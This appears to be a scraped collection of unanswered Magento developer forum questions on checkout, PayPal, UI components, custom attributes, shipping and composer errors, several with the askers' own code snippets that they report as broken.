what is problem of my code why it's show this error msg when i submitting form


texts: Problem with Paypal Express in Chrome with shipping

texts:
I am running Magento 1.9.3. CE. I have a strange problem but only in Chrome browser and only when using Guest checkout. I have PayPal Pro with Paypal Express included.

If my item has shipping and choose Paypal Express at checkout, I get the paypal login and try to login but then I get the error message from paypal "We’re Sorry. Things don’t appear to be working at the moment."

If I try to checkout the same way but with an item with free shipping there is no problem at all. As mentioned this only happens in chrome (I have V65) and for guest checkout.

Any help greatly appreciated.


texts:
Can Magento be emebdded in an iframe? Is there any surprises I should know about?

Thanks!

-Daniel


texts: How to dynamically hide normal fieldset (or) Non tab fieldset in ui component?

texts:
I created a custom admin form using Ui component. In that form i need to show and hide a fieldset dynamically based on a condition. I tried to add class for that fieldset, But the class not working in Normal Fieldset or Non tab fieldset.

<fieldset name="menu_items" class="Vendor\Module\Ui\Component\Form\CustomFieldset">
        <settings>
            <collapsible>true</collapsible>
            Menu Items
            <visible>false</visible>
        </settings>
        <fieldset name="assign_applicants">
            <settings>
                Menu Items
                <collapsible>true</collapsible>
            </settings>

            <field name="name" sortOrder="30" formElement="input">
                <argument name="data" xsi:type="array">
                    <item name="config" xsi:type="array">
                        <item name="source" xsi:type="string">menu</item>
                    </item>
                </argument>
                <settings>
                    <validation>
                        <rule name="required-entry" xsi:type="boolean">true</rule>
                    </validation>
                    <dataType>string</dataType>
                    Name
                    <dataScope>name</dataScope>
                </settings>
            </field>
        </fieldset>
    </fieldset>

Here I need to dynamically hide the menu_items fieldset. So I created a class as CustomFieldset

The CustomFieldset class is:

<?php
namespace Vendor\Module\Ui\Component\Form;

use Magento\Framework\View\Element\ComponentVisibilityInterface;
use Magento\Framework\View\Element\UiComponent\ContextInterface;
use Magento\Ui\Component\Form\Fieldset;

class CustomFieldset extends Fieldset implements ComponentVisibilityInterface
{
    public function __construct(
        ContextInterface $context,
        array $components = [],
        array $data = []
    ) {
        $this->context = $context;

        parent::__construct($context, $components, $data);
    }

    //This method is responsible for show and hide the fieldset

    public function isComponentVisible(): bool
    {
        $visible = 0; // For now Hide the fieldset statically, later write the logics here
        return (bool)$visible;
    }
}

This class is working only the menu_items fieldset is on tab format. Whenever I tried to add class for (non tab) Normal fieldset, the class not working. So in this case how i dynamically hide the fieldset?


texts: How do I add a custom customer attribute to Order REST API?

texts:
I have a custom customer attribute which needs to be shown upon requesting the order via the REST API.
How do I do this?


texts: best way to use jquery or javascript as its disturbing other elements on page when using from admin side

texts:
I made a page using admin panel

content->pages

And after pasting all html I added javascript at the end of this page like this. After adding working fine but some navbar dropdown is not working after using JavaScript through this way.Any other way to do this ?

<script type="text/javascript" language="JavaScript" xml="space">// <![CDATA[
    window.onload = function() {
        beforeAfter.init();
    };
    ]]></script>


texts: Where to put the code for a Google Adwords campaing on Magento 1.9.1?

texts:
Magento 1.9.1
Porto theme

We are running an Adwords campaing and we were given the following code to place into the Magento shopping cart in order to track how successful the campaign is:

<!-- Global site tag (gtag.js) - Google Analytics -->
<script async src="https://www.googletagmanager.com/gtag/js?id=UA-118694738-1"></script>
<script>
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());

  gtag('config', 'UA-113694994-1');
</script>

I've tried putting this in the CMS home page,

In the "Porto - Settings Panel" under Customization Settings --> Custom Style
Under GENERAL --) DESIGN --)  HTML HEAD --) Miscellaneous Scripts but it does not seem to work.

Where is the best place to place this code within Magento?


texts: Magento 2. Where in the database is the number of customer reset password attempts

texts:
A customer can reset his password.
Magento tracks this password reset requests.
Where in the DB is this information stored?


texts:
I have two questions regarding the generation of promo codes:

Is there a limit on how many promo codes can be generated in backend?
Is there a limit on how many promo codes can be generated per store view?

I was able to generate 2 million promo codes, I am just wondering if for higher values Magento will also perform the operation well.

Thank you,

Carla


texts:
I've been poking around in the new backend grid system of Magento on the Merchant beta 1.0.0 version.
First of all I must say I'm impressed.
Now you can select what columns to see, you can reorder them, you can filter by attributes that don't necessarily have a column.
But that's not important.
I don't understand how the grid is rendered.
By enabling the template path hints I saw that the products grid for example is rendered via the template app/code/Magento/Ui/view/base/ui_component/templates/listing/default.xhtml and via block Magento\Ui\Component\Listing.
I edited the template and saw something I don't understand.

<!-- ko template: getTemplate() --><!-- /ko -->

If I remove this line (and clear the cache if enabled) I don't get a grid anymore.
Can someone explain what this ko is and how it works?.
I also find this kind of markup in other templates.  app/code/Magento/Ui/view/base/web/templates/grid/controls/columns.html for example.

[UPDATE]
I just found out with a simple search (duh!) that ko refers to this: http://knockoutjs.com/ but I still need some explanations.


texts: M2: Issue during install module via composer

texts:
When I try install module via composer then I get issue from other extension which is already installed.

[user@s1 public_html]$ composer71 require new/modulemarketing

  [RuntimeException]
  Could not load package module/extensionname in https://repo.magento.com: [
  UnexpectedValueException] Could not parse version constraint 5.5.33 as ^5.2
  : Invalid version string "^5.2"

  [UnexpectedValueException]
  Could not parse version constraint 5.5.33 as ^5.2: Invalid version string "
  ^5.2"

require [--dev] [--prefer-source] [--prefer-dist] [--fixed] [--no-progress] [--no-suggest] [--no-update] [--no-scripts] [--update-no-dev] [--update-with-dependencies] [--update-with-all-dependencies] [--ignore-platform-reqs] [--prefer-stable] [--prefer-lowest] [--sort-packages] [-o|--optimize-autoloader] [-a|--classmap-authoritative] [--apcu-autoloader] [--] [<packages>]...

Anyone have solution?


texts:
I'm importing products via csv and get the following error:

Imported resource (image) could not be downloaded from external resource due to timeout or access permissions in row(s)

what I've noticed is that error appears for specific images although they are exists and no thing in logs regarding this.

Note: import directory is mounted on S3 bucket


texts:
My customers are no longer able to register on my site. When submitting the site simply reloads. I have seen similar threads, but my package already have the FormKey request. My Magento version is 1.9.0.1. Below is my code.

<form action="<?php echo $this->getPostActionUrl() ?>" method="post" id="form-validate">
   <div class="fieldset">
      <input type="hidden" name="success_url" value="<?php echo $this->getSuccessUrl() ?>" />
      <input type="hidden" name="error_url" value="<?php echo $this->getErrorUrl() ?>" />
      <input type="hidden" name="form_key" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" />

Any idea what is wrong?


texts:
I am new to Odoo/OpenERP. I am trying to install odoo and odoo-magento-connector in ubuntu 14.04 using this tutorial http://www.theopensourcerer.com/2014/09/how-to-install-openerp-odoo-8-on-ubuntu-server-14-04-lts/
I am getting stuck in Step 6, /opt/odoo/openerp-server after typing this command i get error shown in the below snap shot


texts: Magento2 - How magento manage the Order Process?

texts:
I want to know if I have an order with 3 products and I only have 2 products in stock, can I deliver the order with only 2 products?
can I change the status of the order ? and what's the right status if i can change it
I ask the question about the native of Magento Version 2.3.5-p1 (Open source)


texts: Create custom attribute in catalog category display setting

texts:
We are working to add custom attribute in catalog category display setting. but it not working in my server

could you please check code and let us now where i made mistakes.

code/Tendersoftware/Categoryattr/etc/module.xml

<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   xsi:noNamespaceSchemaLocation="../../../../../lib/internal/Magento/Framework/Mod ule/etc/module.xsd">
   <module name="Tendersoftware_Categoryattr" setup_version="1.0.6">

   </module></config>

code\Tendersoftware\Categoryattr\Setup\InstallData.php
namespace Tendersoftware\Categoryattr\Setup;
use Magento\Framework\Setup\{
ModuleContextInterface,
ModuleDataSetupInterface,
InstallDataInterface
};

use Magento\Eav\Setup\EavSetup;
use Magento\Eav\Setup\EavSetupFactory;

class InstallData implements InstallDataInterface
{
private $eavSetupFactory;

public function __construct(EavSetupFactory $eavSetupFactory) {
    $this->eavSetupFactory = $eavSetupFactory;
}

public function install(ModuleDataSetupInterface $setup, ModuleContextInterface $context)
{
    $eavSetup = $this->eavSetupFactory->create(['setup' => $setup]);
    $eavSetup->addAttribute(\Magento\Catalog\Model\Category::ENTITY, 'proteamcat', [
        'type'     => 'int',
        'label'    => 'Pro team category design',
        'input'    => 'boolean',
        'source'   => 'Magento\Eav\Model\Entity\Attribute\Source\Boolean',
        'visible'  => true,
        'default'  => '0',
        'required' => false,
        'global'   => \Magento\Eav\Model\Entity\Attribute\ScopedAttributeInterface::SCOPE_STORE,
        'group'    => 'Display Settings',
    ]);
}

}

code\Tendersoftware\Categoryattr\View\adminhtml\ui_component\category_form.xml

<?xml version="1.0"?>
<form xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:module:Magento_Ui:etc/ui_configuration.xsd">
<fieldset name="display_settings">
    <field name="proteamcat">
        <argument name="data" xsi:type="array">
            <item name="config" xsi:type="array">
                <item name="dataType" xsi:type="string">boolean</item>
                <item name="formElement" xsi:type="string">checkbox</item>
                <item name="label" xsi:type="string" translate="true">Pro team category design</item>
                <item name="prefer" xsi:type="string">toggle</item>
                <item name="valueMap" xsi:type="array">
                    <item name="true" xsi:type="string">1</item>
                    <item name="false" xsi:type="string">0</item>
                </item>
                <item name="default" xsi:type="number">0</item>
            </item>
        </argument>
    </field>
</fieldset>

code\Tendersoftware\Categoryattr\registration.php

\Magento\Framework\Component\ComponentRegistrar::register(
\Magento\Framework\Component\ComponentRegistrar::MODULE,
'Tendersoftware_Categoryattr',
__DIR__
);


texts: Magento 2: Change compare icon in product detailed page

texts:
I want to change compare icon in product detailed page
for more info please find the attached image


texts:
In my magento 2.4 store, I have enabled Free shipping and Table rates delivery methods.
Free shipping for only India country and added table rates form some countries.
Added sort order 1 for Free shipping and 2 for Table rates.
Whenever customer add one product to cart and move to checkout page, before filling shipping form, shipping rates showing for USA ( table rates ) and after fill form with India country rates showing zero, but I want to display free shipping by default.
Is there any setting for this?


texts: Basket Item Count From Certain Departmartments at Checkout

texts:
The question is to do with adding code within Owebia Advanced Shipping Module, but I am hoping it may just be a simple syntax error I am not currently spotting.
Before the list of delivery methods, I am hoping to group department id's together, and check how many products within this group are in the basket, and work the price out from there.
Here's what I have written, appreciate help to get this working!
$group1 = function ($allItems) {
return array_sum(
    return array_map(
        function ($item) {
            return count(array_intersect($item->product->category_ids, [2, 3]))
            ? $item->qty
            : 0;
        },
        $request->all_items
    )
),

};


texts: Magento 2 : How to get subcategory details using main category url_key

texts:
I want to get the subcategories of a main category using its main categories url_key to the home page.

I tried in this way.

<?php
namespace Eightmedia\Homepage\Block\Index;

class Index extends \Magento\Framework\View\Element\Template {

protected $_categoryFactory;

public function __construct(
\Magento\Catalog\Model\CategoryFactory $categoryFactory,
\Magento\Catalog\Block\Product\Context $context,
array $data = []) {
    $this->_categoryFactory = $categoryFactory;
    $this->_storeConfig = $scopeConfig;
    $this->_registry = $registry;
    parent::__construct($context, $data);

}

public function getSubcategoryByUrlkey($url_key)
{
        $categorys = $this->_categoryFactory->create()
                          ->getCollection()
                          ->addAttributeToFilter('url_key',$url_key)
                          ->addAttributeToSelect('*');
        $cat_id = $categorys->getFirstItem()->getEntityId();

        $category = $this->_categoryFactory->create()->load($cat_id);
        $childrenCategories = $category->getChildrenCategories();

        foreach($childrenCategories as $subcategorie) {
           echo '+'.$subcategorie->getName().
                '+'.$subcategorie->getDescription().
                '+'.$subcategorie->getData('featured_manufacturer').'</br>';
}
}

Here i can get the sub_category_name but i cannot get any other stuffs. featured_manufacturer is a custom category attribute.

Magento version 2.2.2

1 . How to get all subcategories ?

2 . How to get custom category attribute values?

UPDATE : My install script

$eavSetup -> removeAttribute(\Magento\Catalog\Model\Category::ENTITY, 'featured_manufacturer');

        $eavSetup -> addAttribute(\Magento\Catalog\Model\Category :: ENTITY, 'featured_manufacturer', [
                    'type' => 'int',
                    'label' => 'Featured Manufacturer?',
                    'input' => 'select',
                    'required' => false,
                    'source' => 'Magento\Eav\Model\Entity\Attribute\Source\Boolean',
                    'sort_order' => 110,
                    'global' => \Magento\Eav\Model\Entity\Attribute\ScopedAttributeInterface::SCOPE_GLOBAL,
                    'group' => 'General Information',
                    "default" => "",
                    "class"    => "",
                    "note"       => ""
        ]
        );


texts: Can i update core file while magento is set to production mode?

texts:
I'm aware, magento has three types of modes. On that, the production mode is speed compared to other modes. So I changed my magento site to production mode for better speed and optimization. Do i need to change the mode from production to developer in order to update the core file or i can update it even in the production mode?

Because it's a big headache each time switch the mode for any update. Please comment.


texts: How can I move my cart from my header into the right of my navigation?

texts: I would like to know how to move my cart icon into my navigation instead of the header. How can I do this?


texts: I want show My timer on my front page product

texts:
I am trying to show my timer on home page product .currently this product is showing on product view.Below is the code  , what I am trying to this i want to change this code for my widgets.phtm page. mean i am getting all product from product widget on home page . let me know how can i asign these code for my frontpage product

<referenceContainer name="product.info.main">
                <block class="Magebuzz\Timecountdown\Block\Timecountdown" name="timecountdown.product.view"
                       template="timer.phtml" after="-" ifconfig="timecountdown/general/show_in_product_page" cacheable="false"/>
            </referenceContainer>


texts:
When I created the credit memo, it refunded the full amount instead of the amount i needed to refund!  Is there anyway to cancel the credit.

Also the credit memo situation needs to be fixed ASAP.  It is too confusing when needing to create a partial refund!


texts: Magento 2 how to do a query on custom collection

texts:
SELECT time FROM my_timeslot_list WHERE date = "2019-11-12" GROUP BY time;

How do I run this query on collection factory.

This is the code  $collection = $this->collectionFactory->create();
$collection->addAttributeToSelect('*');
$collection->addAttributeToFilter('date', $date);

But this isn’t correct. Is there anyway I could do the query in collection


texts: Uncaught Error: Call to a member function setPageTitle() on bool in Magento 2.3.4

texts:
I am getting 500 errors on a few categories, not all of them. Error is
AH01071: Got error 'PHP message: PHP Fatal error: Uncaught Error: Call to a member function setPageTitle() on bool in /var/www/vhosts/ardomain.com/upgrade.ardomain.com/app/code/MagentoX/CustomData/Block/Category/View.php:43\nStack trace:\n#0 /var/www/vhosts/ardomain.com/upgrade.ardomain.com/vendor/magento/framework/View/Element/AbstractBlock.php(285): MagentoX\\CustomData\\Block\\Category\\View->_prepareLayout()\n#1 /var/www/vhosts/ardomain.com/upgrade.ardomain.com/generated/code/MagentoX/CustomData/Block/Category/View/Interceptor.php(284): Magento\\Framework\\View\\Element\\AbstractBlock->setLayout(Object(Magento\\Framework\\View\\Layout\\Interceptor))\n#2 /var/www/vhosts/ardomain.com/upgrade.ardomain.com/vendor/magento/framework/View/Layout/Generator/Block.php(149): MagentoX\\CustomData\\Block\\Category\\View\\Interceptor->setLayout(Object(Magento\\Framework\\View\\Layout\\Interceptor))\n#3 /var/www/vhosts/ardomain.com/upgrade.ardomain.com/vendor/magento/framework/View/Layout/GeneratorPool.php(81): Magento\\Framework\\View\\Layout\\Generator\\Block->process(Object(Ma...', referer: https://upgrade.ardomain.com/


texts: Magento 2: How to get the Filters values from a grid

texts:
Before loading the grid, I want to get the filters so I can load the collection depending on the value of these filters.
The thing is that I don't want the column From in my grid but I want it marked as Required in the filter section.
If I add this to the From column
<item name="visible" xsi:type="boolean">false</item>

it will hide it from the grid but also from the filters so I am not sure which could be the best approach

Any help is appreciated. Thanks


texts:
Is it possible to move the caching system of magento to mongo db ,

If the product entity moved to magento then

It would be easy to have fastest website

as search and people will get faster